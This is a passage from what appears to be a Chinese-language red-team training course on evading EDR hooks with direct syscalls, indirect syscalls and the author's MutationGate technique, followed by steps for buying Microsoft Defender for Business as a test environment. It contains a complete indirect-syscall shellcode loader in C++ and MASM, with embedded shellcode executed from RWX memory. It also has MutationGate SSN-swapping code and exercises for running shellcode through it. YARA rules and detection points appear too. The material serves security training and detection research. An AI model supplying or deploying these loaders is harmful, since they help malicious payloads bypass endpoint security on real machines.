[![image.png](https://raven-medicine.com/uploads/images/gallery/2024-03/scaled-1680-/jYBJYtjOb4rwiePZ-image.png)](https://raven-medicine.com/uploads/images/gallery/2024-03/jYBJYtjOb4rwiePZ-image.png)

使用 syswhisper 2 的 python 脚本生成所需的**头文件，c 文件**以及 **asm 文件**，可以生成所有的 NTAPI 的相关代码，也可以只生成指定或常用的 NTAPI 的。

因为有 asm 文件，所以我们依旧需要启用 masm。把生成的**头文件**加入到 **Header Files** 中，**c 文件**与 **asm 文件**添加至 **Source Files** 中。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2024-03/scaled-1680-/MZRsYBTvJXcqXhMR-image.png)](https://raven-medicine.com/uploads/images/gallery/2024-03/MZRsYBTvJXcqXhMR-image.png)

对于主函数的代码，我们可以复用之前的，但别忘了添加 syswhisper2 生成的头文件。就这样，我们也成功执行了 shellcode。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2024-03/scaled-1680-/qObsEgByktoIErkR-image.png)](https://raven-medicine.com/uploads/images/gallery/2024-03/qObsEgByktoIErkR-image.png)

我们可以根据 asm 文件中的 WhisperMain 函数代码创建 yara 规则。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2024-03/scaled-1680-/sppIpWkdxz0AfGDl-image.png)](https://raven-medicine.com/uploads/images/gallery/2024-03/sppIpWkdxz0AfGDl-image.png)

[![image.png](https://raven-medicine.com/uploads/images/gallery/2024-03/scaled-1680-/xx6UlpxagAcDwBB4-image.png)](https://raven-medicine.com/uploads/images/gallery/2024-03/xx6UlpxagAcDwBB4-image.png)

样本规则如下所示：

```yaml
rule syswhisper2
{
    meta:
        description = "Hunt for syswhisper2 generated asm code"

    strings:
        $s1 = {58 48 89 4C 24 08 48 89 54 24 10 4C 89 44 24 18 4C 89 4C 24 20 48 83 EC 28 8B 0D ?? ?? 00 00 E8 ?? ?? ?? ?? 48 83 C4 28 48 8B 4C 24 08 48 8B 54 24 10 4C 8B 44 24 18 4C 8B 4C 24 20 4C 8B D1 0F 05 C3}
    condition:
        #s1 >=1 
}
```

这样，我们用 yara 检测到了使用 syswhisper2 的程序。当然了，可以对该函数进行混淆，不过调用栈的嫌疑也很大。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2024-03/scaled-1680-/agYUmPZMOvbHIpNn-image.png)](https://raven-medicine.com/uploads/images/gallery/2024-03/agYUmPZMOvbHIpNn-image.png)

### **间接调用 Syscall**

因为直接 syscall 在调用栈上有着难以掩盖的检测点，间接调用 syscall 应运而生。间接调用 syscall 这个分类下其实也衍生出了多种方法，也包括我近期提出的 MutationGate。

#### **间接 syscall**

<span style="font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', Oxygen, Ubuntu, Roboto, Cantarell, 'Fira Sans', 'Droid Sans', 'Helvetica Neue', sans-serif; font-size: 14px; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-weight: 400;">间接 syscall 的宗旨是与其直接在程序内执行 syscall 指令，不如在 **ntdll 模块里**寻找一条 syscall 指令，记录其地址，并在项目中用汇编代码定义的 syscall stub 中，将原本的 **syscall 指令**替换为 **jmp &lt;syscall 地址&gt;** 指令。如下所示：</span>

```c
NtAllocateVirtualMemory PROC
    mov r10, rcx
    mov eax, (ssn of NtAllocateVirtualMemory)
    jmp (address of a syscall instruction)
    ret
NtAllocateVirtualMemory ENDP
```

我们可以用如下代码获得给定 NTAPI 的 syscall 指令的地址。不过，从**函数调用成功**的角度来看，我们其实不是非得要获得目标 NTAPI 的 syscall 指令的地址。syscall 是一种特殊的 call 指令，根据 RAX/EAX 的值来确定内核层的对应函数，而非 syscall 指令所在的地址。也就是说，如果我们能在其他 DLL 中找到 syscall 指令，也是可以用的。如果我们刻意地选用良性 NTAPI 的 syscall 指令而非目标 NTAPI 的，可能会带来规避上的优势，但也可能适得其反，这取决于 EDR 的检测逻辑。毕竟，在内核层从**调用栈**或**返回地址**的角度是可以看出端倪的。

```c++
#include <stdio.h>
#include <windows.h>
#include <winternl.h>
#include <stdint.h>
#include <string.h>


//Get module handle for ntdll and kernel32 at the same time
void GetModule(HMODULE* ntdll, HMODULE* kernel32)
{
	PPEB peb = (PPEB)(__readgsqword(0x60));
	PPEB_LDR_DATA ldr = *(PPEB_LDR_DATA*)((PBYTE)peb + 0x18); //PPEB_LDR_DATA pLdr = pPeb->Ldr;
	PLIST_ENTRY ntdlllistentry = *(PLIST_ENTRY*)((PBYTE)ldr + 0x30);
	*ntdll = *(HMODULE*)((PBYTE)ntdlllistentry + 0x10);
	PLIST_ENTRY kernelbaselistentry = *(PLIST_ENTRY*)((PBYTE)ntdlllistentry);
	PLIST_ENTRY kernel32listentry = *(PLIST_ENTRY*)((PBYTE)kernelbaselistentry);
	*kernel32 = *(HMODULE*)((PBYTE)kernel32listentry + 0x10);
}


PBYTE GetSyscallAddr(IN HMODULE hModule, const CHAR* funcName)
{
	PBYTE pBase = (PBYTE)hModule;
	PBYTE syscall;

	PIMAGE_DOS_HEADER	pImgDosHdr = (PIMAGE_DOS_HEADER)pBase;
	if (pImgDosHdr->e_magic != IMAGE_DOS_SIGNATURE)
		return 0;
	PIMAGE_NT_HEADERS	pImgNtHdrs = (PIMAGE_NT_HEADERS)(pBase + pImgDosHdr->e_lfanew);
	if (pImgNtHdrs->Signature != IMAGE_NT_SIGNATURE)
		return 0;

	IMAGE_OPTIONAL_HEADER	ImgOptHdr = pImgNtHdrs->OptionalHeader;
	PIMAGE_EXPORT_DIRECTORY pImgExportDir = (PIMAGE_EXPORT_DIRECTORY)(pBase + ImgOptHdr.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
	PDWORD FunctionNameArray = (PDWORD)(pBase + pImgExportDir->AddressOfNames);
	PDWORD FunctionAddressArray = (PDWORD)(pBase + pImgExportDir->AddressOfFunctions);
	PWORD  FunctionOrdinalArray = (PWORD)(pBase + pImgExportDir->AddressOfNameOrdinals);
	for (DWORD i = 0; i < pImgExportDir->NumberOfFunctions; i++)
	{
		CHAR* pFunctionName = (CHAR*)(pBase + FunctionNameArray[i]);
		PBYTE pFunctionAddress = (PBYTE)(pBase + FunctionAddressArray[FunctionOrdinalArray[i]]);
		if (_stricmp(funcName, pFunctionName) == 0)
		{
			syscall = (pFunctionAddress + 0x12);
			return syscall;
		}
	}
	return 0;
}

int main()
{
	HMODULE ntdll;
	HMODULE kernel32;
	GetModule(&ntdll, &kernel32);
	printf("ntdll base address: %p\n", ntdll);
	printf("kernel32 base address: %p\n", kernel32);
	PBYTE syscall_addr = GetSyscallAddr(ntdll, "NtOpenProcess");
	printf("Address of syscall instruction is 0x%p\n", syscall_addr);
	return 0;
}
```

这样，我们成功地获得了一条 syscall 指令的地址，与我们在 WinDBG 中查看到的一致。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2024-03/scaled-1680-/QvP1WKcniSqgyRGA-image.png)](https://raven-medicine.com/uploads/images/gallery/2024-03/QvP1WKcniSqgyRGA-image.png)

[![image.png](https://raven-medicine.com/uploads/images/gallery/2024-03/scaled-1680-/IfOQ0dJ983BLbuqv-image.png)](https://raven-medicine.com/uploads/images/gallery/2024-03/IfOQ0dJ983BLbuqv-image.png)

有了 syscall 指令的地址，那么可以得到如下代码(依旧启用 masm)：

**indirectsyscall.cpp** 代码

```c++
#include <stdio.h>
#include <windows.h>
#include <winternl.h>
#include <stdint.h>
#include <string.h>


extern "C" {
	UINT_PTR syscall_addr1;
	UINT_PTR syscall_addr2;
	UINT_PTR syscall_addr3;
	UINT_PTR syscall_addr4;
	UINT_PTR syscall_addr5;
}

typedef struct _PS_ATTRIBUTE
{
	ULONG  Attribute;
	SIZE_T Size;
	union
	{
		ULONG Value;
		PVOID ValuePtr;
	} u1;
	PSIZE_T ReturnLength;
} PS_ATTRIBUTE, * PPS_ATTRIBUTE;


typedef struct _PS_ATTRIBUTE_LIST
{
	SIZE_T       TotalLength;
	PS_ATTRIBUTE Attributes[1];
} PS_ATTRIBUTE_LIST, * PPS_ATTRIBUTE_LIST;

EXTERN_C NTSTATUS NtAllocateVirtualMemory(
	IN HANDLE ProcessHandle,
	IN OUT PVOID* BaseAddress,
	IN ULONG ZeroBits,
	IN OUT PSIZE_T RegionSize,
	IN ULONG AllocationType,
	IN ULONG Protect);

EXTERN_C NTSTATUS NtWriteVirtualMemory(
	IN HANDLE ProcessHandle,
	IN PVOID BaseAddress,
	IN PVOID Buffer,
	IN SIZE_T NumberOfBytesToWrite,
	OUT PSIZE_T NumberOfBytesWritten OPTIONAL);

EXTERN_C NTSTATUS NtCreateThreadEx(
	OUT PHANDLE ThreadHandle,
	IN ACCESS_MASK DesiredAccess,
	IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL,
	IN HANDLE ProcessHandle,
	IN PVOID StartRoutine,
	IN PVOID Argument OPTIONAL,
	IN ULONG CreateFlags,
	IN SIZE_T ZeroBits,
	IN SIZE_T StackSize,
	IN SIZE_T MaximumStackSize,
	IN PPS_ATTRIBUTE_LIST AttributeList OPTIONAL);

EXTERN_C NTSTATUS NtWaitForSingleObject(
	IN HANDLE ObjectHandle,
	IN BOOLEAN Alertable,
	IN PLARGE_INTEGER TimeOut OPTIONAL);

EXTERN_C NTSTATUS NtClose(
	IN HANDLE Handle);



void GetModule(HMODULE* ntdll, HMODULE* kernel32)
{
	PPEB peb = (PPEB)(__readgsqword(0x60));
	PPEB_LDR_DATA ldr = *(PPEB_LDR_DATA*)((PBYTE)peb + 0x18); //PPEB_LDR_DATA pLdr = pPeb->Ldr;
	PLIST_ENTRY ntdlllistentry = *(PLIST_ENTRY*)((PBYTE)ldr + 0x30);
	*ntdll = *(HMODULE*)((PBYTE)ntdlllistentry + 0x10);
	PLIST_ENTRY kernelbaselistentry = *(PLIST_ENTRY*)((PBYTE)ntdlllistentry);
	PLIST_ENTRY kernel32listentry = *(PLIST_ENTRY*)((PBYTE)kernelbaselistentry);
	*kernel32 = *(HMODULE*)((PBYTE)kernel32listentry + 0x10);
}


UINT_PTR GetSyscallAddr(IN HMODULE hModule, const CHAR* funcName)
{
	PBYTE pBase = (PBYTE)hModule;
	UINT_PTR syscall;

	PIMAGE_DOS_HEADER	pImgDosHdr = (PIMAGE_DOS_HEADER)pBase;
	if (pImgDosHdr->e_magic != IMAGE_DOS_SIGNATURE)
		return 0;
	PIMAGE_NT_HEADERS	pImgNtHdrs = (PIMAGE_NT_HEADERS)(pBase + pImgDosHdr->e_lfanew);
	if (pImgNtHdrs->Signature != IMAGE_NT_SIGNATURE)
		return 0;

	IMAGE_OPTIONAL_HEADER	ImgOptHdr = pImgNtHdrs->OptionalHeader;
	PIMAGE_EXPORT_DIRECTORY pImgExportDir = (PIMAGE_EXPORT_DIRECTORY)(pBase + ImgOptHdr.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
	PDWORD FunctionNameArray = (PDWORD)(pBase + pImgExportDir->AddressOfNames);
	PDWORD FunctionAddressArray = (PDWORD)(pBase + pImgExportDir->AddressOfFunctions);
	PWORD  FunctionOrdinalArray = (PWORD)(pBase + pImgExportDir->AddressOfNameOrdinals);
	for (DWORD i = 0; i < pImgExportDir->NumberOfFunctions; i++)
	{
		CHAR* pFunctionName = (CHAR*)(pBase + FunctionNameArray[i]);
		PBYTE pFunctionAddress = (PBYTE)(pBase + FunctionAddressArray[FunctionOrdinalArray[i]]);
		if (_stricmp(funcName, pFunctionName) == 0)
		{
			syscall = (UINT_PTR)(pFunctionAddress + 0x12);
			return syscall;
		}
	}
	return 0;
}


int main()
{
	HMODULE ntdll;
	HMODULE kernel32;
	GetModule(&ntdll, &kernel32);
	printf("ntdll base address: %p\n", ntdll);
	printf("kernel32 base address: %p\n", kernel32);
	syscall_addr1 = GetSyscallAddr(ntdll, "NtOpenProcess");
	syscall_addr2 = syscall_addr1 + 0x20;
	syscall_addr3 = syscall_addr1 + 0x40;
	syscall_addr4 = syscall_addr1 + 0x60;
	syscall_addr5 = syscall_addr1 + 0x80;
	printf("Address of syscall instruction is 0x%p\n", syscall_addr1);


	unsigned char code[] = "\x48\x31\xd2\x65\x48\x8b\x42\x60\x48\x8b\x70\x18\x48\x8b\x76\x20\x4c\x8b\x0e\x4d\x8b\x09\x4d\x8b\x49\x20\xeb\x63\x41\x8b\x49\x3c\x4d\x31\xff\x41\xb7\x88\x4d\x01\xcf\x49\x01\xcf\x45\x8b\x3f\x4d\x01\xcf\x41\x8b\x4f\x18\x45\x8b\x77\x20\x4d\x01\xce\xe3\x3f\xff\xc9\x48\x31\xf6\x41\x8b\x34\x8e\x4c\x01\xce\x48\x31\xc0\x48\x31\xd2\xfc\xac\x84\xc0\x74\x07\xc1\xca\x0d\x01\xc2\xeb\xf4\x44\x39\xc2\x75\xda\x45\x8b\x57\x24\x4d\x01\xca\x41\x0f\xb7\x0c\x4a\x45\x8b\x5f\x1c\x4d\x01\xcb\x41\x8b\x04\x8b\x4c\x01\xc8\xc3\xc3\x41\xb8\x98\xfe\x8a\x0e\xe8\x92\xff\xff\xff\x48\x31\xc9\x51\x48\xb9\x63\x61\x6c\x63\x2e\x65\x78\x65\x51\x48\x8d\x0c\x24\x48\x31\xd2\x48\xff\xc2\x48\x83\xec\x28\xff\xd0";


	LPVOID allocation_start;
	SIZE_T allocation_size = sizeof(code);
	HANDLE hThread;
	NTSTATUS status;

	allocation_start = nullptr;


	// Allocate Virtual Memory 
	if (NtAllocateVirtualMemory(GetCurrentProcess(), &allocation_start, 0, (PULONG64)&allocation_size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE) == 0)
		printf("Memory allocated at %p\n", allocation_start);
	else
		printf("Allocated failed, Error code is %d\n", GetLastError());

	// Copy shellcode into allocated memory
	if (NtWriteVirtualMemory(GetCurrentProcess(), allocation_start, code, sizeof(code), 0) == 0)
		printf("Copied successfully\n");
	else
		printf("Copied failed, Error code is %d\n", GetLastError());


	if (NtCreateThreadEx(&hThread, GENERIC_EXECUTE, NULL, GetCurrentProcess(), (LPTHREAD_START_ROUTINE)allocation_start, NULL, FALSE, NULL, NULL, NULL, NULL) == 0)
		printf("Executed successfully\n");
	else
		printf("Executed failed, Error code is %d\n", GetLastError());

	// Wait for the end of the thread and close the handle
	NtWaitForSingleObject(hThread, FALSE, NULL);
	NtClose(hThread);

	return 0;
}
```

**stub.asm** 代码：

```c++

EXTERN syscall_addr1:QWORD 
EXTERN syscall_addr2:QWORD 
EXTERN syscall_addr3:QWORD 
EXTERN syscall_addr4:QWORD 
EXTERN syscall_addr5:QWORD 


.code

NtAllocateVirtualMemory PROC
    mov r10, rcx
    mov rax, 18h
    jmp QWORD PTR [syscall_addr1]
    ret
NtAllocateVirtualMemory ENDP

NtWriteVirtualMemory PROC
    mov r10, rcx
    mov rax, 3Ah
    jmp QWORD PTR [syscall_addr2]
    ret
NtWriteVirtualMemory ENDP

NtCreateThreadEx PROC
    mov r10, rcx
    mov rax, 0C2h
    jmp QWORD PTR [syscall_addr3]
    ret
NtCreateThreadEx ENDP

NtWaitForSingleObject PROC
    mov r10, rcx
    mov rax, 4
    jmp QWORD PTR [syscall_addr4]
    ret
NtWaitForSingleObject ENDP

NtClose PROC
    mov r10, rcx
    mov rax, 0Fh
    jmp QWORD PTR [syscall_addr5]
    ret
NtClose ENDP


end
```

我们在 C 代码里定义了全局变量 syscall\_addr，因为该项目实际上还是 C++ 项目，所以需要稍微注意一下格式。出于演示程序的成功执行目的，我选择了 5 个连续的 syscall 指令的地址，如果我们想有意地选择良性 NTAPI 的 syscall 指令地址，需要仔细斟酌一下选择哪些。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2024-03/scaled-1680-/2DsOdplGlL9FcO2p-image.png)](https://raven-medicine.com/uploads/images/gallery/2024-03/2DsOdplGlL9FcO2p-image.png)

作为小练习，请写出没有混淆 syscall stub 的情况下，采用间接 syscall 调用的程序的 yara 的检测规则。

#### **syswhisper3**

syswhisper3 是对 syswhisper2 的改进，也可以自动生成我们上面编写的间接 syscall 的程序所需要的相关文件。因为原理差不多，就不做额外解释了。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2024-03/scaled-1680-/mj4EKJRO4TmyLT2M-image.png)](https://raven-medicine.com/uploads/images/gallery/2024-03/mj4EKJRO4TmyLT2M-image.png)

导入所需文件的步骤与 syswhisper2 一致，代码也可以复用之前的。编译后，执行结果如下：

[![image.png](https://raven-medicine.com/uploads/images/gallery/2024-03/scaled-1680-/eg3w3eTT9cO0jLvz-image.png)](https://raven-medicine.com/uploads/images/gallery/2024-03/eg3w3eTT9cO0jLvz-image.png)

根据 asm 文件里的函数指令，可以创建相应的 yara 规则：

[![image.png](https://raven-medicine.com/uploads/images/gallery/2024-03/scaled-1680-/UDgNdEEjhCBLxC8e-image.png)](https://raven-medicine.com/uploads/images/gallery/2024-03/UDgNdEEjhCBLxC8e-image.png)

```yaml
rule syswhisper3
{
    meta:
        description = "Hunt for syswhispe3 generated asm code"

    strings:
        $s1 = {48 89 4c 24 08 48 89 54 24 10 4c 89 44 24 18 4c 89 4c 24 20 48 83 ec 28 b9 ?? ?? ?? ?? e8}
        $s2 = {48 83 c4 28 48 8b 4c 24 08 48 8b 54 24 10 4c 8b 44 24 18 4c 8b 4c 24 20 4c 8b d1}
    condition:
        #s1 >=1 or #s2 >=1 
}
```

因为我们导出了所有 NTAPI 的相关文件，匹配数自然很多。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2024-03/scaled-1680-/1B0dhGgwrx9PJtY4-image.png)](https://raven-medicine.com/uploads/images/gallery/2024-03/1B0dhGgwrx9PJtY4-image.png)

### **突变之门 MutationGate**

突变之门 MutationGate 是我在近期的研究成果，其实也是属于间接 syscall 的一种。但毕竟是作者我提出的，所以必须给足牌面，单独安排一个中标题。Github 地址: [https://github.com/senzee1984/MutationGate](https://github.com/senzee1984/MutationGate) 以及英文研究文章: [https://winslow1984.com/books/malware/page/mutationgate](https://winslow1984.com/books/malware/page/mutationgate)

MutationGate 通过利用**硬件断点**来重定向系统调用，从而绕过 EDR 的内联 hook。MutationGate 的原理是调用一个未被 hook 的良性 NTAPI，并用被 hook 的 NTAPI的 SSN 替换这个未被 hook 的 NTAPI 的 SSN。通过这种方式，syscall 被重定向到被 hook 的 NTAPI，而无需加载第 2 个 ntdll 模块或纂改已加载到内存中的 ntdll 模块，就可以绕过内联 hook。

EDR 倾向于为一些 NTAPI 设置内联 hook，特别是那些常在恶意软件中被利用的，如 NtAllocVirtualMemory。而不常被恶意软件利用的 NTAPI 往往不会被 hook，如 NtDrawText。EDR hook 所有 NTAPI 的可能性非常小。

假设 NTAPI NtDrawText 没有被 hook，而 NtQueryInformationProcess 被 hook 了，步骤如下：

1\. 获得 NtDrawText 的地址，通过 **GetModuleHandle 与 GetProcAddress 组合**，或者 **PEB Walking 与导出表解析**。

```c++
  pNTDT = GetFuncByHash(ntdll, 0xA1920265);	//NtDrawText hash
  pNTDTOffset_8 = (PVOID)((BYTE*)pNTDT + 0x8);	//Offset 0x8 from NtDrawText
```

2\. 为 NtQueryInformationProcess 准备相应参数。

3\. 在 **NtDrawText + 0x8** 处设置硬件断点，当执行流程到达这里时，SSN 已经存储在 RAX 中了，但 syscall 还未发起。

```
0:000> u 0x00007FFBAD00EB68-8
ntdll!NtDrawText:
00007ffb`ad00eb60 4c8bd1          mov     r10,rcx
00007ffb`ad00eb63 b8dd000000      mov     eax,0DDh
00007ffb`ad00eb68 f604250803fe7f01 test    byte ptr [SharedUserData+0x308 (00000000`7ffe0308)],1
00007ffb`ad00eb70 7503            jne     ntdll!NtDrawText+0x15 (00007ffb`ad00eb75)
00007ffb`ad00eb72 0f05            syscall
00007ffb`ad00eb74 c3              ret
00007ffb`ad00eb75 cd2e            int     2Eh
00007ffb`ad00eb77 c3              ret
```

4\. 获取 NtQueryInformationProcess 的 SSN。在异常句柄里，用 NtQueryInformationProcess 的 SSN 替换 NtDrawText 的。

```c
...<SNIP>...
uint32_t GetSSNByHash(PVOID pe, uint32_t Hash) 
{
	PBYTE pBase = (PBYTE)pe;
	PIMAGE_DOS_HEADER	pImgDosHdr = (PIMAGE_DOS_HEADER)pBase;
	PIMAGE_NT_HEADERS	pImgNtHdrs = (PIMAGE_NT_HEADERS)(pBase + pImgDosHdr->e_lfanew);
	IMAGE_OPTIONAL_HEADER	ImgOptHdr = pImgNtHdrs->OptionalHeader;
	DWORD exportdirectory_foa = RvaToFileOffset(pImgNtHdrs, ImgOptHdr.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
	PIMAGE_EXPORT_DIRECTORY pImgExportDir = (PIMAGE_EXPORT_DIRECTORY)(pBase + exportdirectory_foa);	//Calculate corresponding offset
	PDWORD FunctionNameArray = (PDWORD)(pBase + RvaToFileOffset(pImgNtHdrs, pImgExportDir->AddressOfNames));
	PDWORD FunctionAddressArray = (PDWORD)(pBase + RvaToFileOffset(pImgNtHdrs, pImgExportDir->AddressOfFunctions));
	PWORD  FunctionOrdinalArray = (PWORD)(pBase + RvaToFileOffset(pImgNtHdrs, pImgExportDir->AddressOfNameOrdinals));

	for (DWORD i = 0; i < pImgExportDir->NumberOfFunctions; i++)
	{
		CHAR* pFunctionName = (CHAR*)(pBase + RvaToFileOffset(pImgNtHdrs, FunctionNameArray[i]));
		DWORD Function_RVA = FunctionAddressArray[FunctionOrdinalArray[i]];
		if (Hash == ROR13Hash(pFunctionName))
		{
			void *ptr = malloc(10);
			if (ptr == NULL) {
				perror("malloc failed");
				return -1;
			}
			unsigned char byteAtOffset5 = *((unsigned char*)(pBase + RvaToFileOffset(pImgNtHdrs, Function_RVA)) + 4);
			//printf("Syscall number of function %s is: 0x%x\n", pFunctionName,byteAtOffset5);	//0x18
			free(ptr);
			return byteAtOffset5;
		}
	}
	return 0x0;
}
...<SNIP>...
```

5\. 我们调用 NtDrawText 函数，但准备的却是 NtQueryInformationProcess 的参数，这个调用原本会失败的。但因为我们偷梁换柱了 SSN，调用会成功。

```c
  fnNtQueryInformationProcess pNTQIP = (fnNtQueryInformationProcess)pNTDT;
  NTSTATUS status = pNTQIP(pi.hProcess, ProcessBasicInformation, &pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL);	
```

这个案例中，NtDrawText 的 SSN 为 0xdd，而 NtQueryInformationProcess 的 SSN 为 0x19，NtDrawText 的地址为 0x00007FFBAD00EB60

这个调用是发起到 NtDrawText 的地址，但准备的是 NtQueryInformationProcess 的参数，因为 SSN 从 0xdd 变为了 0x19，syscall 自然是成功的。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2024-03/scaled-1680-/bSTThGQC0miGDypx-image.png)](https://raven-medicine.com/uploads/images/gallery/2024-03/bSTThGQC0miGDypx-image.png)

我们用之前的 yara 规则来扫描该 POC 程序，并没有发现符合的记录，这是当然的。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2024-03/scaled-1680-/O0ZFLfCJXJRN1cZV-image.png)](https://raven-medicine.com/uploads/images/gallery/2024-03/O0ZFLfCJXJRN1cZV-image.png)

但破绽也是有的，为了便于观察，以 SleepEx 的 NTAPI **NtDelayExecution** 为例，syscall 是在 ntdll 空间里发起的，看起来还算合理。然而，ntoskrnl 里的 KeDelayExecutionThread 期望的是 NtDelayExecution 发起 syscall，而不是 NtDrawText。这个破绽可以作为检测点。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2024-03/scaled-1680-/UrbS5zVECo8GedtM-image.png)](https://raven-medicine.com/uploads/images/gallery/2024-03/UrbS5zVECo8GedtM-image.png)

#### **优势与检测**

MutationGate 相比其他类似的 unhook 方案具有一定的优势，尽管依旧是可能检测的。

##### **优势**

1. 不加载第 2 个 ntdll 模块
2. 不纂改已加载的 ntdll 模块
3. 不使用自定义的 syscall stub，因此没有对应的字节序列特征
4. syscall 发生在 ntdll 模块中，看起来是合理的

##### **可能的检测方法**

1. 在正常程序中，调用 **AddVectoredExceptionHandler** 有些可疑
2. 从内核层检视调用栈，ntoskrnl.exe 中执行的函数与 ntdll 模块中执行的函数不一致
3. 在良性 NTAPI 中发起的 syscall 不会期望得到不属于自身的 SSN

#### **与其他类似方法的对比**

HWSyscall([https://github.com/Dec0ne/HWSyscalls](https://github.com/Dec0ne/HWSyscalls)) 和 TamperingSyscall([https://github.com/rad9800/TamperingSyscalls](https://github.com/rad9800/TamperingSyscalls)) 都巧妙地利用硬件断点来绕过内联 hook，都是出色的方法。尽管在我获得灵感并发布 MutationGate 的期间里，我没有阅读和引用这两个项目，但的确利用了一些相似的技术和中心思想。我仔细阅读和研究了它们，并用表格总结与比较，如下所示：

<table border="1" id="bkmrk-approach-call-argume"><colgroup><col></col><col></col><col></col><col></col><col></col></colgroup><tbody><tr><td>**方法**</td><td>**调用的 API**</td><td>**参数**</td><td>**SSN**</td><td>**Syscall 指令**</td></tr><tr><td>**突变之门**</td><td>良性 NTAPI</td><td>目标 NTAPI 的参数</td><td>良性 NTAPI 的 SSN -&gt; 目标 NTAPI 的 SSN</td><td>良性 NTAPI 中</td></tr><tr><td>**HWSyscall**</td><td>目标 NTAPI</td><td>目标 NTAPI 的参数</td><td>提取目标 NTAPI 的 SSN</td><td>最近的纯净 NTAPI 中</td></tr><tr><td>**TamperingSyscall**</td><td>目标 NTAPI</td><td>占位符参数 -&gt; 目标 NTAPI 的参数</td><td>通过 EDR 的检测后得到目标 NTAPI 的 SSN</td><td>目标 NTAPI 中</td></tr><tr><td>**间接 Syscall**</td><td>自定义汇编函数</td><td>目标 NTAPI 的参数</td><td>提取目标 NTAPI 的 SSN</td><td>任何纯净的 NTAPI 中</td></tr></tbody></table>

作为一个课后练习，请基于该 POC，用 MutationGate 的方法执行 calc 的 shellcode。

# 搭建 EDR 测试环境

有效的 EDR 测试环境对于我们检验自己所写载荷的规避性能十分重要。可惜的是，EDR 几乎都不对个人用户开放，而且通常都有着最低设备数量要求，价格也不菲。除了在公司里申请一个配置了 EDR 的测试主机外或者申请一期一会的免费试用，本小节内容会教大家如何用最小的代价配置 2 款主流且声誉较好的 EDR 产品。

尽管如此，即便你们编写的载荷能完美绕过这 2 款 EDR，也不代表能绕过客户或者自己企业里的安全产品，因为尤其是对于中大型企业，他们会订阅更加高级的套餐，使得他们 EDR 的特性与性能更为强大，以及会与其他安全产品例如防火墙，IDS/IPS 产生联动。

如果有条件，最好能有一台物理设备用于安装与配置 EDR，以实现最强的检测性能。

### **Microsoft Defender for Business**

除了 Windows 自带的 Windows Defender，微软还有着 EDR 和 XDR 产品。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2024-05/scaled-1680-/WP0ad5w0aRNi2034-image.png)](https://raven-medicine.com/uploads/images/gallery/2024-05/WP0ad5w0aRNi2034-image.png)

XDR 乃至 EDR 的购买主要面向中大型企业，销售会验证企业资质，以及往往有着最低设备数量的要求。因此，对于我们做安全研究与测试有些不便与奢侈。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2024-05/scaled-1680-/XkfXcDitPkaZkFHS-image.png)](https://raven-medicine.com/uploads/images/gallery/2024-05/XkfXcDitPkaZkFHS-image.png)

不过，Microsoft Defender for Business([https://www.microsoft.com/en-us/security/business/endpoint-security/microsoft-defender-business#Microsoft-defender-plans-and-pricing](https://www.microsoft.com/en-us/security/business/endpoint-security/microsoft-defender-business#Microsoft-defender-plans-and-pricing)) 为我们提供了个门槛很低的选项，每个月 3 美元即可。MDB 主要面向 1-300 人的小型企业，但相应的，检测性能与功能丰富程度也逊于 MDE，但对于我们初入 EDR 对抗也足以。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2024-05/scaled-1680-/uihnqOlyG1hRaObB-image.png)](https://raven-medicine.com/uploads/images/gallery/2024-05/uihnqOlyG1hRaObB-image.png)

我们点击 Buy now，左边的套餐即可。我们输入一个有效的邮箱地址。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2024-05/scaled-1680-/DiTwxsWaCKJfds2v-image.png)](https://raven-medicine.com/uploads/images/gallery/2024-05/DiTwxsWaCKJfds2v-image.png)

确认使用该邮箱地址

[![image.png](https://raven-medicine.com/uploads/images/gallery/2024-05/scaled-1680-/wN4W3ERyGvWd36SC-image.png)](https://raven-medicine.com/uploads/images/gallery/2024-05/wN4W3ERyGvWd36SC-image.png)

填写相关信息，之后需要接收手机验证码。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2024-05/scaled-1680-/6fCHe85FAIpO193O-image.png)](https://raven-medicine.com/uploads/images/gallery/2024-05/6fCHe85FAIpO193O-image.png)

设置一个初始账户，记住自己的企业域名，是 **\*.onmicrosoft.com** 的形式。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2024-05/scaled-1680-/xaKw39vRq8RSkxlS-image.png)](https://raven-medicine.com/uploads/images/gallery/2024-05/xaKw39vRq8RSkxlS-image.png)

之后，我们可以选择需要购买的数量，1 个即可，输入支付方式信息，需要有借记卡或者信用卡。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2024-05/scaled-1680-/Vy8tFy2qO7aif4ym-image.png)](https://raven-medicine.com/uploads/images/gallery/2024-05/Vy8tFy2qO7aif4ym-image.png)

核对信息，确认支付。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2024-05/scaled-1680-/dTAoDtYtOeEIxRzv-image.png)](https://raven-medicine.com/uploads/images/gallery/2024-05/dTAoDtYtOeEIxRzv-image.png)

然后，我们便可以登录到管理员中心了。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2024-05/scaled-1680-/y7cR36EUj30Nvzsr-image.png)](https://raven-medicine.com/uploads/images/gallery/2024-05/y7cR36EUj30Nvzsr-image.png)

我们不需要该订阅的时候，可以在 **Billing -&gt; Your product**s 这里选择取消。

